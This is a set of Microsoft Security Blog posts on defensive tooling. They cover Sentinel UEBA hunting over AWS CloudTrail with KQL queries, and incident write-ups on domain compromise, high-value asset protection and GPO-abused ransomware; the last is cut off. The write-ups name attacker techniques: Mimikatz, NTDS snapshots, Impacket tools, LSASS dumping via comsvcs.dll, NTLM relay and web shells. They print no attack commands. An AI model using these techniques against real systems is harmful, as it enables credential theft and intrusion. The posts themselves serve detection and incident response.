This data is always available for hunting, even if no alert is fired. Each record includes key fields from the original CloudTrail event alongside enrichments derived from user, activity, and device behavior. The full list of available enrichments and their baseline lookback periods is documented in Entity enrichments – dynamic fields.

Anomalies table

The Anomalies table contains outputs from Microsoft’s pre-trained anomaly detection machine learning models. Six built-in anomalies are currently available for AWS. For more information about these anomalies, see: Anomalies detected by the Microsoft Sentinel machine learning engine.

Each anomaly record includes MITRE ATT&CK mappings, behavioral enrichments, an AnomalyScore, and AnomalyReasons, which explains why an event was flagged as an anomaly.

Here’s an example of an AWS IAM Privilege Modification anomaly. In this case, the CreateLoginProfile API was invoked from a previously unseen user agent in a new country. The annotated screenshot illustrates how the anomaly is displayed and how the AnomalyReasons dynamic field provides binary insights that help investigation. In addition to FirstTimeUserPerformedAction and FirstTimeUserConnectedFromCountry, the BrowserUncommonlyUsedInTenant feature indicates a new user agent (Apache-HttpClient/UNAVAILABLE (Java/21.0.9)) not commonly seen in the tenant.

The Defender portal also surfaces UEBA anomalies on user entity pages and incident graphs.

This example highlights the Top UEBA anomalies section in an incident graph, where an Anomalous Logon event is displayed with an anomaly score of 0.8 for the account entity cloudinfra-admin.

You can run built-in queries directly from incident graphs by selecting Go Hunt  All User anomalies queries for immediate context-driven hunting based on UEBA outcomes. For more details, see UEBA integration with Microsoft Sentinel workflows.

Traditional vs. new approach

Let’s look at a classic AWS scenario: Unusual anomalous AWS logons. You want to detect a user’s sign in from an unknown location compared to its historical sign-in patterns.

The hard way: Raw log analytics

CloudTrail telemetry can be analyzed using historical baselines and enrichment logic to understand behavioral patterns such as first‑time sign‑ins from new locations. UEBA complements this approach by providing pre‑computed behavioral indicators that can accelerate investigation workflows.

Here is the KQL example on raw log showing necessary operations to add behavioral context.

KQL Code Snippet:

// The "Hard Way" - baseline-heavy console sign-in analytics
let baselineStart = ago(14d);
let baselineEnd   = ago(1h);
let userBaseline =    AWSCloudTrail
    | where TimeGenerated between (baselineStart .. baselineEnd)
    | where EventName == "ConsoleLogin" and isempty(ErrorCode)
    | where isnotempty(SourceIpAddress)
    | extend geo = geo_info_from_ip_address(SourceIpAddress)
    | extend Country = tostring(geo["country"])
    | where isnotempty(Country)
    | summarize HistoricalCountries = make_set(Country) by UserIdentityPrincipalid;
AWSCloudTrail
| where TimeGenerated > ago(1h)
| where EventName == "ConsoleLogin" and isempty(ErrorCode)
| where isnotempty(SourceIpAddress)
| extend geo = geo_info_from_ip_address(SourceIpAddress)
| extend Country = tostring(geo["country"])
| where isnotempty(Country)
| join kind=leftouter (userBaseline) on UserIdentityPrincipalid
| extend FirstTimeUserConnectedFromCountry =    iif(isempty(HistoricalCountries) or not(set_has_element(HistoricalCountries, Country)), true, false)
| where FirstTimeUserConnectedFromCountry == true

The problem: This query is computationally expensive, hard to read, and requires you to manually enrich IP addresses with location data. Accurately mapping IP addresses to ASN and ISP often requires additional enrichments and up to date lookup databases. Because different user behaviors have different levels of variability, static thresholds and manually engineered baselines can still produce false positives or low-value alerts, especially in dynamic environments.

The smart way: Binary feature stacking

With Microsoft Sentinel UEBA, the profiling engine has already done the heavy lifting. It learns the user’s sign-in patterns, peer commonality, and tenant-wide behavioral patterns, and outputs the result to the BehaviorAnalytics table as a set of pre-calculated binary features (true/false flags).

KQL Code Snippet:

// The "Smart Way" - leveraging binary features
BehaviorAnalytics
| where ActionType == "ConsoleLogin" and ActivityType == "signin.amazonaws.com" 
// The Binary Features
| where ActivityInsights.FirstTimeUserConnectedFromCountry == True
and ActivityInsights.CountryUncommonlyConnectedFromInTenant == True and ActivityInsights.FirstTimeConnectionViaISPInTenant == True

The advantages:

1. Readability: It takes just three lines of code to express a complex idea with UEBA features.
2. Context: You’re not just looking at uncommon sign ins. You’re stacking user-level and tenant-level indicators – such as location data (FirstTimeUserConnectedFromCountry) and uncommon ISP usage (FirstTimeConnectionViaISPInTenant) – to get a more accurate representation of suspicious behaviors relative to historical patterns.
3. Stability: You don’t manage the baseline, lookback, and thresholds in your query. The Microsoft Sentinel UEBA ML engine maintains these automatically with baseline windows that vary by enrichment (ranging from 7 to 180 days).

By relying on these binary features, detection authors stop writing code to discover behavioral signals and instead use UEBA features to express detection intent and how to respond based on severity.

Now let’s look at how these same signals appear during investigation and triage.

Real-world attack scenarios: Microsoft Sentinel UEBA in action

The table below summarizes four attack scenarios using a consistent set of fields:

• Scenario: The threat pattern and where it fits in the kill chain.
• The attack: What the adversary is attempting to do (high-level behavior).
• Common log view: How the activity appears in raw CloudTrail when reviewed event-by-event.
• UEBA signals (binary features): BehaviorAnalytics binary features that provide behavioral context, along with the InvestigationPriority score (0-10) used to tune the severity of deviations.
• Built-in anomaly surfaced: Names of built-in Microsoft Sentinel UEBA anomalies you can pivot to during triage, including AnomalyScore (0–1) and AnomalyReasons in the Anomalies table.

Together, these scenarios illustrate how raw CloudTrail events provide foundational visibility into AWS activity. Combining this telemetry with behavioral enrichment from Sentinel UEBA can improve the interpretability of events during investigation. The same building blocks—successful sign-ins, IAM changes, Secrets or KMS access, and S3 reads—can represent either normal administration or active intrusion.

By combining CloudTrail activity with Sentinel UEBA enrichments in BehaviorAnalytics, defenders can stack multiple high-value signals to hunt for activity patterns that match attacker tradecraft.

This context accelerates investigations by making it easier to explain why an action is suspicious and to pivot directly to correlated entries in the Anomalies table, including risk scores and reasons. For detection engineers, UEBA signals also act as stable building blocks—simplifying KQL, reducing alert noise, and hardening detections over time.

Note: The UEBA signals column lists examples of relevant binary features, not the exact logic that triggers an anomaly. Anomalies are generated by ML models and don’t map one-to-one to individual features. Use AnomalyReasons in the Anomalies table to understand why a specific anomaly was flagged.

Attack scenarios

Table 1: Examples of Microsoft Sentinel UEBA enrichments in real-world attack scenarios

Built-in Microsoft Sentinel UEBA anomaly MITRE ATT&CK coverage

The visual below illustrates how Microsoft Sentinel UEBA’s AWS anomaly coverage maps across multiple stages of the kill chain:

• Initial access: UEBA Anomalous Federated or SAML Identity Activity in AwsCloudTrail
• Initial access/privilege escalation: UEBA Anomalous STS AssumeRole Behavior in AwsCloudTrail
• Persistence/privilege escalation: UEBA Anomalous IAM Privilege Modification in AwsCloudTrail
• Credential access/collection: UEBA Anomalous Secret or KMS Key Access in AwsCloudTrail
• Collection/data exfiltration: UEBA Anomalous Data Transfer from Amazon S3

Together, these anomaly detections provide defenders with end-to-end visibility – from suspicious authentication through sensitive access and data movement – with binary feature enrichments that add high-value behavioral context during investigations.

Practical implementation: Getting started

Before you begin

Before you run the queries, ensure the following are in place:

Baseline establishment period completed
Allow sufficient time for UEBA to establish user, activity, and device baselines. In most environments, this typically requires 7–14 days of steady telemetry.

AWS environment onboarded to Microsoft Sentinel UEBA
Ensure that AWS CloudTrail (management events and, where applicable, object-level data) is connected, and UEBA is enabled for the AWS data source.

CloudTrail data is flowing consistently
Confirm that AWS CloudTrail events are being ingested into Microsoft Sentinel and visible in Advanced Hunting.

Starter query

Ready to start hunting? Open Advanced Hunting in Microsoft Sentinel and run the following query to explore the BehaviorAnalytics table and inspect enriched AWS behavioral signals. This query intentionally keeps the logic lightweight. The goal is not to “detect” anomalous activity immediately, but to understand how binary behavioral features surface in your environment.

// Starter query – explore UEBA-enriched AWS behavioral signals
BehaviorAnalytics
| where EventSource == "AWSCloudTrail" or ActivityType endswith "amazonaws.com"
| where isnotempty(ActivityInsights)
| where ActivityInsights.FirstTimeUserConnectedFromCountry == true
   or ActivityInsights.ActionUncommonlyPerformedByUser == true
   or ActivityInsights.UncommonHighVolumeOfOperations == true
| project
    TimeGenerated,
    UserName,
    ActionType,
    EventSource,
    ActivityType,
    ActivityInsights
| order by TimeGenerated desc

What to look for

When reviewing the results, focus on:

• Binary feature combinations
  Individual binary indicators may be benign. Risk emerges when multiple features align (for example: first-time geography and uncommon action).
• User-centric deviations
  Pay attention to activity that is unusual for that specific identity, even if the action itself is common across the tenant.
• Low-volume but persistent activity
  UEBA often highlights slow, methodical behavior (for example, repeated S3 reads or Secrets/KMS access) that stays below static thresholds but persists over time.
• Candidates for anomaly pivoting
  Events that exhibit multiple binary features warrant further investigation by pivoting to the Anomalies table, where UEBA may have already produced a correlated anomaly record with supporting context and reasoning.

Common false positives (and how to filter them)

• Legitimate automation or CI/CD pipelines
  Why it happens: Service roles or automation accounts may perform actions infrequently or from new infrastructure locations.
  How to filter: Exclude known accounts or IAM roles used exclusively for automation once validated. Be sure to filter only specific types of activities, rather than applying blanket exclusions.
• New administrators or role changes
  Why it happens: First‑time admin activity naturally triggers “first‑time” and “uncommon” indicators depending on the baseline.
  How to filter: Correlate with recent user creation or role assignment changes before suppressing.
• Planned operational changes
  Why it happens: Migrations, incident response, or large‑scale maintenance can temporarily skew baselines.
  How to filter: Use time‑bounded filters or change‑window context rather than permanently suppressing signals.

Next steps

Once you are comfortable interpreting enriched behavior:

1. Stack binary features intentionally (especially User and Tenant level) in detection logic rather than alerting on single indicators.
2. Pivot to UEBA anomalies to leverage Microsoft’s pre-trained models across MITRE ATT&CK tactics.
3. Promote successful hunts into detections with minimal additional KQL, relying on UEBA to maintain baselines over time.

This approach lets detection authors focus on behavioral intent, not baseline math – turning raw AWS telemetry into actionable security signals.

Limitations and constraints

Microsoft Sentinel UEBA can substantially reduce detection complexity, but it’s important to account for coverage boundaries and the conditions under which enrichments and scores are most reliable:

Coverage is selective (not “every API”).

• UEBA does not ingest or model every API call for every AWS service. CloudTrail can be extremely high-volume, so the Microsoft Sentinel UEBA pipeline focuses on the event sources and API actions that are most useful for behavior modeling and that are most commonly correlated with anomalous activity (for example, authentication, identity and permission changes, sensitive data access, and high-impact operations). You can always check the up-to-date list of in-scope event sources, APIs, and data sources in the UEBA data sources reference document (GCPAuditLogs, Okta log sources are also supported). We’re continually adding APIs and event sources.

Enrichments vary by event type.

• Not all enrichments are populated for all actions. For example, UncommonHighVolumeOfOperations is unlikely to apply to specific types of rare APIs, and location/ISP-related enrichments typically require the original source event to include a valid IP address.

Cross-cloud identity baselines are calculated independently.

• UEBA profiles identities per data source, which means behavior across cloud platforms is baselined separately. Correlation across environments can be performed manually using the BehaviorAnalytics table when required.

Use scores for prioritization, not direct alerting without retroactive lookup.

• Treat the AnomalyScore (0-1) and InvestigationPriority (0-10) values as investigation signals to help rank what to look at first – not as sole triggers for alerts. The highest score may not always be the highest priority investigation for your organization. Validate patterns in your environment and use a combination of enrichments, scores, and repeat behavior over time before finalizing alert logic.

Anomaly support in the UI is currently for UPN-based entities.

• AWS UEBA anomalies are currently surfaced in the UI only on the Account entity, which assumes an identity mapped to a UPN. This works well for environments that use Microsoft Entra ID (or another IdP) with UPN identifiers, but it might not apply to AWS IAM users or AWS resource entities that do not map cleanly to a UPN. To be clear – anomalies are triggered and available for all identity types (with UPN and without UPN), but are only shown in the UI for entities with a UPN.

Some insights depend on identity and user agent fidelity.

• DeviceInsights rely on parsing UserAgent strings and may be unreliable if user agents are spoofed or manipulated in the original log. Some UserInsights enrichments also depend on identity inventory and metadata snapshots being available. Microsoft identity data from Microsoft Entra is synchronized automatically to the IdentityInfo table – other identity providers are not currently supported, so they might have more limited enrichment coverage.

From raw logs to behavioral context

CloudTrail provides detailed activity data. Sentinel UEBA enhances this telemetry with behavioral context, such as first‑time geography or uncommon ISP usage, to support investigation and detection workflows. A single failed console login is often low signal on its own. That same event becomes far more meaningful when it’s paired with behavioral context, such as a first-time country, an unusual ISP, or activity on a rarely used admin account.

By shifting our focus from writing complex queries to leveraging Microsoft Sentinel UEBA’s binary feature stacking, we gain three practical advantages:

1. Efficiency: We replace baseline-heavy, maintenance-prone queries with simpler, more readable logic.
2. Accuracy: We reduce false positives and better tune severity by requiring multiple binary features to align before alerting.
3. Visibility: We uncover the low-and-slow attacks that static thresholds often miss.

For the modern SOC, the goal is not only to collect logs—it’s to understand behavior. Use the BehaviorAnalytics table as your starting point to understand what “normal” looks like in your environment, then pivot to related Anomalies when you need model-driven prioritization. In practice, this shifts investigations from “What happened?” to “Is this consistent with expected behavior?”

Ready to start hunting? Onboard your AWS environment to Microsoft Sentinel UEBA, open Advanced Hunting, and run the starter query in the Practical implementation section to explore the BehaviorAnalytics and Anomalies tables in your environment.

References

• UEBA onboarding and setting documentation
• Identify threats using UEBA
• UEBA enrichments and insights reference
• Anomalies detected by the Microsoft Sentinel machine learning engine

Learn more

Learn about the UEBA Behaviors Layer for AWS CloudTrail and other data sources.

The Microsoft Sentinel UEBA Essentials solution provides additional built-in queries.

The post Simplifying AWS defense with Microsoft Sentinel UEBA appeared first on Microsoft Security Blog.

In identity-based attack campaigns, any initial access activity can turn an already serious intrusion into a critical incident once it allows a threat actor to obtain domain-administration rights. At that point, the attacker effectively controls the Active Directory domain: they can change group memberships and Access Control Lists (ACLs), mint Kerberos tickets, replicate directory secrets, and push policy through mechanisms like Group Policy Objects (GPOs), among others.

What makes domain compromise especially challenging is how quickly it could happen: in many real-world cases, domain-level credentials are compromised immediately following the very first access, and once these credentials are exposed, they’re often abused immediately, well before defenders can fully scope what happened. Apart from this speed gap, responding to this type of compromise could also prove difficult. For one, incident responders can’t just simply “turn off” domain controllers, service accounts, or identity infrastructure and core services without risking business continuity. In addition, because compromised credential artifacts can spread fast and be replayed to expand access, restoring the identity infrastructure back to a trusted state usually means taking steps (for example, krbtgt rotation, GPO cleanup, and ACL validation) that could take additional time and effort in an already high-pressure situation.

These challenges highlight the need for a more proactive approach in disrupting and containing credential-based attacks as they happen. Microsoft Defender’s predictive shielding capability in automatic attack disruption helps address this need. Its ability to predict where attacks will pivot next and apply just in time hardening actions to  block credential abuse—including those targeting high-privilege accounts like domain admins—and lateral movement at near-real-time speed, shifting the advantageto the defenders.

Previously, we discussed how predictive shielding was able to disrupt a human-operated ransomware incident. In this blog post, we take a look at a real-world Active Directory domain compromise that illustrates the critical inflection point when a threat actor achieves domain -level control. We walk through the technical details of the incident to highlight attacker tradecraft, the operational challenges defenders face after domain compromise, and the value of proactive, exposure-based containment that predictive shielding provides.

Predictive shielding overview

Predictive shielding is a capability in Microsoft Defender’s automatic attack disruption that helps stop the spread of identity-based attacks, before an attacker fully operationalizes stolen credentials. Instead of waiting for an account to be observed doing something malicious, predictive shielding focuses on moments when credentials are likely exposed: when Defender sees high-confidence signals of credential theft activity on a device, it can proactively restrict the accounts that might have been exposed there.

Essentially, predictive shielding works as follows:

• Defender detects post-breach activity strongly associated with credential exposure on a device.
• It evaluates which high-privilege identities were likely exposed in that context.
• It applies containment to those identities to reduce the attacker’s ability to pivot, limiting lateral movement paths and high-impact identity operations while the incident is being investigated and remediated. The intent is to close the “speed gap” where attackers can reuse newly exposed credentials faster than responders can scope, reset, and clean up.

This capability is available as an out-of-the-box enhancement for Microsoft Defender for Endpoint P2 customers who meet the Microsoft Defender prerequisites.

The following section revisits a real-world domain compromise that showcases how attack disruption and predictive shielding changed the outcome by acting on exposure, rather than just observed abuse. Interestingly, this case happened just as we’re rolling out the predictive shielding, so you can see the changes in both attacker tradecraft and the detection and response actions before and after this capability was deployed.

Attack chain overview

In June 2025, a public sector organization was targeted by a threat actor. This threat actor progressed methodically: initial exploitation, local escalation, directory reconnaissance, credential access, and expansion into Microsoft Exchange and identity infrastructure.  

Initial entry: Pre-domain compromise

The campaign began at the edge: a file-upload flaw in an internet-facing Internet Information Services (IIS) server was abused to plant and launch a web shell. The attacker then simultaneously performed various reconnaissance activities using the compromised account through the web shell and escalated their privileges to NT AUTHORITY\SYSTEM by abusing a Potato-class token impersonation primitive (for example, BadPotato).

The discovery commands observed in the attack include the following example:

Using the compromised IIS service account, the attacker attempted to reset the passwords of high-impact identities, a common technique used to gain control over accounts without performing credential dumping. The attacker also deployed Mimikatz to dump logon secrets (for example, MSV, LSASS, and SAM), harvesting credentials that are exposed on the device.

Had predictive shielding been released at this point, automated restrictions on exposed accounts could have stopped the intrusion before it expanded beyond the single-host foothold. However, at the time of the incident, this capability hasn’t been deployed to customers yet.

Key takeaway: At this stage of an attack, it’s important to keep the containment host‑scoped. Defenders should prioritize blocking credential theft and stopping escalation before it reaches the identity infrastructure.

First pivot: Directory credential materialization and Exchange delegation

Within 24 hours, the attacker abused privileged accounts and remotely created a scheduled task on a domain controller. The task initiated NTDS snapshot activity and packaged the output using makecab.exe, enabling offline access to directory credential material that’s suitable for abusing credentials at scale:

Because the first malicious action by the abused account already surfaced the entire Active Directory credentials, stopping its path for total domain compromise was no longer feasible.

The threat actor then planted a Godzilla web shell on Exchange Server, used a privileged context to enumerate accounts with ApplicationImpersonation role assignments, and granted full access to a delegated principal across mailboxes using Add‑MailboxPermission. This access allowed the threat actor to read and manipulate all mailbox contents.

The attack also used Impacket’s atexec.py to enumerate the role assignments remotely. Its use triggered the attack disruption capability in Defender, revoking the account sessions of an admin account and blocking it from further use.

Following the abused account’s disruption, the attacker attempted several additional actions, such as resetting the disrupted account’s and other accounts’ passwords. They also attempted to dump credentials of a Veeam backup device.

Key takeaway: This pivot is a turning point. Once directory credentials and privileged delegation are in play, the scope and impact of an incident expand fast. Defenders should prioritize protecting domain controllers, privileged identities, and authentication paths.

Scale and speed: Tool return, spraying, and lateral movement

Weeks later, the threat actor returned with an Impacket tooling (for example, secretsdump and PsExec) that resulted in repeated disruptions by Defender against the abused accounts that they used. These disruptions forced the attacker to pivot to other compromised accounts and exhaust their resources.

Following Defender’s disruptions, the threat actor then launched a broad password spray from the initially compromised IIS server, unlocking access to at least 14 servers through password reuse. They also attempted remote credential dumping against a couple of domain controllers and an additional IIS server using multiple domain and service principals.

Key takeaway: Even though automatic attack disruption acted right away, the attacker already possessed multiple credentials due to the previous large-scale credential dumping. This scenario showcases the race to detect and disrupt credential abuse and is the reason we’re introducing predictive shielding to preemptively disrupt exposed accounts at risk.

Predictive shielding breaks the chain: Exposure-centric containment

In the second phase of the attack, we activated predictive shielding. When exposure signals surfaced (for example, credential dumping attempts and replay from compromised hosts), automated containment blocked new sign-in attempts and interactive pivots not only for the abused accounts, but also for context-linked identities that are active on the same compromised surfaces.

Attack disruption contained high-privileged principals to prevent these accounts from being abused. Crucially, when a high-tier Enterprise or Schema Admin credential was exposed, predictive shielding contained it pre-abuse, preventing what would normally become a catastrophic escalation.

Second pivot: Alternative paths to new credentials

With high-value identities pre-contained, the threat actor pivoted to exploiting Apache Tomcat servers. They compromised three Tomcat servers, dropped the Godzilla web shell, and launched the PowerShell-based Invoke-Mimikatz command to harvest additional credentials. At one point, the attacker operated under Schema Admin:

They then used Impacket WmiExec to access Microsoft Entra Connect servers and attempt to extract Entra Connect synchronization credentials. The account used for this pivot was later contained, limiting further lateral movement.

Last attempts and shutdown

In the final phase of the attack, the threat actor attempted a full LSASS dump on a file sharing server using comsvcs.dll MiniDump under a domain user account, followed by additional NTDS activity:

Attack disruption in Defender repeatedly severed sessions and blocked new sign-ins made by the threat actor. On July 28, 2025, the attack campaign lost momentum and stopped.

How predictive shielding changed the outcome

Before compromising a domain, attackers are mostly constrained by the hosts they control. However, even a small set of exposed credentials could remove their constraints and give them broad access through privileged authentication and delegated pathways. The blast radius spreads fast, time pressure spikes, and containment decisions become riskier because identity infrastructure and high-privilege accounts are production dependencies.

The incident we revisited earlier almost followed a similar pattern. It unfolded while predictive shielding was still being launched, so the automated predictive containment capability only became active at the midway of the attack campaign. During the attack’s first stages, the threat actor had room to scale—they returned with new tooling, launched a broad password spray attack, and expanded access across multiple servers. They also attempted remote credential dumping against domain controllers and servers.

When predictive shielding went live, it helped shift the story and we then saw the change of pace—instead of reacting to each newly abused account, the capability allowed Defender to act preemptively and turn credential theft attempts into blocked pivots. Defender was able to block new sign-ins and interactive pivots, not just for the single abused account, but also for context-linked identities that were active on the same compromised surfaces.

With high-value identities pre-contained, the adversary shifted tradecraft and chased other credential sources, but each of their subsequent attempts triggered targeted containment that limited their lateral reach until they lost momentum and stopped. How this incident concluded is the operational “tell” that containment is working, in that once privileged pivots get blocked, threat actors often hunt for alternate credential sources, and defenses must continue following the moving blast radius.

As predictive shielding matures, it will continue to expand its prediction logic and context-linked identities.

MITRE ATT&CK® techniques observed

The following table maps observed behaviors to ATT&CK®.

Tactics shown are per technique definition.

Learn more

For more information about automatic attack disruption and predictive shielding, see the following Microsoft Learn articles:

• Check out our latest Ninja show showcasing how predictive shielding expands to identity centric attacks
• Automatic attack disruption in Microsoft Defender XDR
• Predictive shielding in Microsoft Defender (Preview)

The post Containing a domain compromise: How predictive shielding shut down lateral movement appeared first on Microsoft Security Blog.

High-value assets including domain controllers, web servers, and identity infrastructure are frequent targets in sophisticated attacks. Microsoft Defender applies asset-aware protection using Microsoft Security Exposure Management to detect and block threats against these critical systems. This article explores real-world attack scenarios and defense techniques.

As cyberthreats continue to grow in scale, speed, and sophistication, organizations must pay close attention to the systems that form their backbone: High-Value Assets (HVAs). These assets include the servers, services, identities, and infrastructure essential for business operations and security. Examples include domain controllers that manage authentication and authorization across the network; web servers hosting business-critical applications such as Exchange or SharePoint; identity systems that enable secure access across on-premises and cloud environments; and other components such as certificate authorities and internet-facing services that provide access to corporate applications.

This reinforces a simple but important idea: not all assets carry the same risk, and protections should reflect their role and impact. To support this, we continue to expand differentiated protections for the assets that matter most. These efforts focus on helping organizations reduce risk, disrupt high-impact attack paths, and strengthen overall resilience. Microsoft Defender already provides enhanced protection for critical assets through capabilities such as automatic attack disruption. In this article, we explore how additional security layers further strengthen risk-based protection.

Using asset context to strengthen detection

In recent years, human-operated cyberattacks have evolved from sporadic, opportunistic intrusions into targeted campaigns designed to maximize impact. Analysis shows that in more than 78% of these attacks, threat actors successfully compromise a High-Value Asset, such as a domain controller, to gain deeper, elevated access within the organization.

Traditional endpoint detection methods rely on behavioral signals such as process execution, command-line activity, and file operations. While effective in many scenarios, these signals often lack context about the asset being targeted. Administrative tools, scripting frameworks, and system utilities can appear identical in both legitimate and malicious use.

This is where understanding a device’s role becomes essential. On high-value assets such as domain controllers or identity infrastructure, even small risks matter because the potential impact is significantly higher. Activities that may be routine on general-purpose servers or administrative workstations can indicate compromise when observed on Tier-0 systems.

Defender incorporates a critical asset framework to enrich detection with this context. This intelligence is powered by Microsoft Security Exposure Management, where critical assets, attack paths, and cross-workload relationships provide the context needed to distinguish normal administrative activity from high-risk behavior. This approach also enables automatic identification of critical assets in customer environments and applies deeper, context-aware detections based on each asset’s risk profile.

How high-value asset protection works

1. Asset classification: Security Exposure Management asset intelligence builds a high‑confidence inventory and exposure graph of an organization’s assets across devices, identities, cloud resources, and external attack surfaces. By enriching asset data with contextual signals such as predefined classifications and criticality levels based on a system’s role and function, Security Exposure Management can automatically identify and tag High-Value Assets across on-premises, hybrid, and cloud environments, providing a consistent view of the systems that are most critical to the organization.
2. Real Time Differentiated Intelligence from Cloud: HVA-aware anomaly detection extends cloud delivered protection by continuously learning what normal looks like for critical assets and highlighting activity that meaningfully deviates from those baselines. Instead of applying one size fits all thresholds, the system will evaluate behavior in the context of the asset role, sensitivity, and expected operational patterns.
3. Endpoint Delivered Protections: Targeted protections that prioritize high-impact TTPs on High-Value Assets. By incorporating device role context and critical asset intelligence from Security Exposure Management, behaviors that may appear as weak signals in isolation can be elevated to high-confidence prevention when observed on Tier-0 systems, enabling more decisive protection where the potential blast radius is greatest.

Real-world high-value asset protection scenarios

Focused protection for domain controllers

Domain controllers are the backbone of on-premises environments, managing identity and access through Active Directory (AD). Because of their central role, threat actors frequently target domain controllers seeking elevated privileges. One common technique involves extracting credential data from NTDS.DIT, the Active Directory database that stores password hashes and account information for users across the domain, including highly privileged accounts such as domain administrators. On systems identified as domain controllers, Defender can apply stronger prevention powered by critical assets and attack paths, combining multiple behavioral signals that would otherwise appear benign in isolation.

In one observed incident, the activity begins with the compromise of Machine 0, an internet-exposed server. The threat actor gained a foothold and established persistence to maintain access. This system served as the initial entry point into the environment, allowing the threat actor to begin reconnaissance and identify systems with broader access inside the network. The threat actor then laterally moved to Machine 1, a server with broader access within the network.

On this system, the actor established a reverse SSH tunnel to threat actor-controlled infrastructure while bypassing inbound firewall restrictions and setting up an NTLM relay trap. This positioned the machine to intercept or relay authentication attempts originating from other machines in the network. Subsequently, authentication activity originating from Machine 2, a high-value system with Domain Admin privileges, interacted with the relay setup. By leveraging the captured NTLM authentication exchange, the actor was able to authenticate with elevated privileges within the domain.

Using the leaked Domain Admin access, the threat actor then authenticated to Machine 3, a domain controller. With privileged access to the DC, the actor attempted to extract Active Directory credential data by using ntdsutil.exe to dump the NTDS.DIT database. Protections designed specifically for high‑value assets prevented the command‑line attempt, stopping execution before the database could be accessed. The activity also triggered automated disruption, resulting in the Domain Admin account being disabled, effectively stopping the threat actor from proceeding further with credential extraction and limiting the potential impact to the domain.

In this attack, the adversary remotely created a scheduled task on a domain controller that executed ntdsutil.exe to generate a backup containing the Active Directory database. The task was configured to run as SYSTEM and then deleted shortly afterward to reduce forensic visibility.

Individually, both behaviors, remote scheduled task creation and execution of ntdsutil.exe can occur in administrative scenarios across enterprise environments. However, by analyzing historical activity within the environment, these activities appear as outliers when combined, making it a high-confidence indicator of credential theft preparation on a domain controller. By incorporating asset role, attack path context, historical correlations, and the blast radius of the activity, Defender can deterministically block credential theft preparation on domain controllers. 

Early detection of webshells and IIS compromise

When Defender identifies a high-value asset running the IIS role, it applies targeted inspection to locations that are commonly exposed and frequently abused during server compromise. This includes focused scanning of web-accessible directories and application paths for suspicious or unauthorized script files. In several investigations involving SharePoint and Exchange servers, this approach surfaced previously unknown and highly targeted webshells with poor detection coverage.

In many cases, the malicious logic was inserted directly into legitimate web application files, allowing threat actors to blend into normal application behavior and maintain stealthy access to the server.

Protection tech like AMSI for Exchange and SharePoint helps block malicious code and incoming exploitation attempts. However, if an threat actor already has elevated access inside the organization, they can target these internet-facing High-Value Assets directly. In one scenario, the threat actor had already gained access inside the organization with elevated privileges. From another compromised system, the actor remotely drops a highly customized, previously unseen webshell into EWS directory of Exchange Server.

The webshell has file upload, download and in-memory code execution capabilities. Because the device was identified as an Exchange server hosting internet-facing content, the risk profile was significantly higher. Leveraging this role context, Defender immediately remediated the file upon creation, preventing the threat actor from establishing control over the Exchange workload.

Expanded protection from remote credential dumping

High‑Value Assets (HVAs) hold the most sensitive credentials in an organization, making them a primary target for adversaries once initial access is achieved. Threat actors often attempt to access credential stores remotely using administrative protocols, directory replication methods, or interactions with identity synchronization systems such as Microsoft Entra Connect.

These activities can involve the movement or staging of sensitive artifacts, including Active Directory database files, registry hives, or identity synchronization data. Suspicious patterns such as creation of credential-related files in non-standard locations or unexpected transfers between systems may indicate attempts to compromise credentials. Incorporating device role context enables stronger protections on the systems where credential exposure poses the highest risk, such as domain controllers and identity infrastructure servers. By considering the process chains and access patterns involved, Defender can more effectively prevent exfiltration of sensitive credential data.

Protecting your HVAs

While Microsoft’s Security Exposure Management continues to improve automatic identification and classification of high‑value assets (HVAs) in customer environments, customers can take several concrete steps today to strengthen protection outcomes.

1. Ensure coverage across all critical assets

Review environments to confirm that all truly high‑value assets are identified, including assets that may not be obvious by type alone (for example, servers running privileged services or machines holding sensitive credentials). Gaps in classification can lead to gaps in protection prioritization.

2. Prioritize security posture improvements and alert response for HVAs

Customers should focus first on implementing security posture recommendations that apply to high-value assets, as these systems represent the greatest potential impact if compromised. Addressing gaps on HVAs delivers disproportionately higher risk reduction compared to non-critical assets.

In addition, organizations should prioritize monitoring and rapid response for alerts originating from HVAs. Accelerating investigation and remediation for these alerts helps mitigate threats in a timely manner and significantly limits potential blast radius.

3. Triage vulnerabilities with HVA context

When reviewing vulnerabilities, prioritize remediation on HVAs before lower‑impact assets. A moderate vulnerability on a high‑value asset might present greater risk than a high‑severity issue on a non‑critical endpoint.

Learn more

Explore these resources to stay updated on the latest updates

• To learn more about our security products, see Microsoft Defender products and services. Microsoft Defender products and services – Microsoft Defender | Microsoft Learn
• To learn more about how attack disruption safeguards your domain controllers, check out this video video.
• To learn more about Security Exposure Management, see Microsoft Security Exposure Management. Microsoft Security Exposure Management | Microsoft Security
• To learn more about AMSI, see AMSI for SharePoint server (Configure AMSI integration with SharePoint Server – SharePoint Server | Microsoft Learn) or AMSI for Exchange server (AMSI integration with Exchange Server | Microsoft Learn)

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky. 

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post How Microsoft Defender protects high-value assets in real-world attack scenarios appeared first on Microsoft Security Blog.

Summary

• Microsoft Defender disrupted a human operated ransomware incident targeting a large educational institution with more than a couple of thousand devices.
• The attacker attempted to weaponize Group Policy Objects (GPOs) to tamper with security controls and distribute ransomware via scheduled tasks.
• Defender’s predictive shielding detected the attack before ransomware was deployed and proactively hardened against malicious GPO propagation across 700 devices.

• Defender blocked ~97% of the attacker’s attempted encryption activity in total, and zero machines were encrypted via the GPO path.

The growing threat: GPO abuse in ransomware operations

Modern ransomware operators have evolved well beyond simple payload delivery. Today’s attackers understand enterprise infrastructure intimately. They actively exploit the administrative mechanisms that organizations depend on to both neutralize security products and distribute ransomware at scale.

Group Policy Objects (GPOs) have become a favored tool for exactly this purpose. GPOs are a built-in, trusted mechanism for pushing configuration changes across domain-joined devices. Attackers have learned to abuse them: pushing tampering configurations to disable security tools, deploying scheduled tasks that distribute and execute ransomware, and achieving wide organizational impact without needing to touch each machine individually.

In this blog, we examine a real incident where an attacker weaponized GPOs in exactly this way, and how Defender’s predictive shielding responded by catching the attack before the ransomware was even deployed.

The incident

The target was a large educational institution with approximately more than a couple of thousand devices onboarded to Microsoft Defender and the full Defender suite deployed. The infrastructure included 33 servers, 11 domain controllers, and 2 Entra Connect servers.

Attack chain overview

The attacker’s progression through the environment was methodical:

